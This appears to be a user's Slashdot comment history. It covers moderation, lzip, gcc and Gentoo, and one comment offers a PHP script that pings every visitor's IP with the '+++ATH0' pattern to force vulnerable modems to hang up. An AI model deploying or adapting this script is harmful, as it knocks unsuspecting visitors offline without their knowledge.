    Yeah, but now everyday I can find a comment that mentions lzip and gets modded up. If you download the "source code" you'll find that the "binary" is actually a picture of a monkey. (if i remember it right)

    God damn 'redudant' moderation. Of course there are going to be redundant comments because a slashdot comment page is static. Posters don't reload it every 10 seconds to make sure their comment doesn't repeat somebody else's.

    I wrote a quick php script to disconnect any 56k user with a bad modem:

    <?

    $REMOTE_ADDR = $_SERVER[REMOTE_ADDR];
    print "Your [modem] at $REMOTE_ADDR is being pinged with +++ATH0<br>";
    print "<pre>";
    system("/bin/ping -p 2b2b2b415448300d -c 5 $REMOTE_ADDR");
    print "</pre>";
    print "Ping complete.<br>";

    ?>

  24. gcc 3.1? on New Red Hat Beta: LIMBO · · Score: 1

    I don't know much about gcc, but will it remain incompatible with lesser-used apps? Some apps have been completely ignored by their maintainers for years and it would be a pain not being able to compile them.

  25. Re:mandrake on Why Mandrake is Too Cool for UnitedLinux · · Score: 1

    You can also try Gentoo Linux if you have enough bandwidth. It downloads and compiles the program (with emerge 'app') and dependencies from source, so it is fully optimized for your system. There isn't any dependency hell associated with it (unless you decide to 'emerge unmerge glibc' or something)
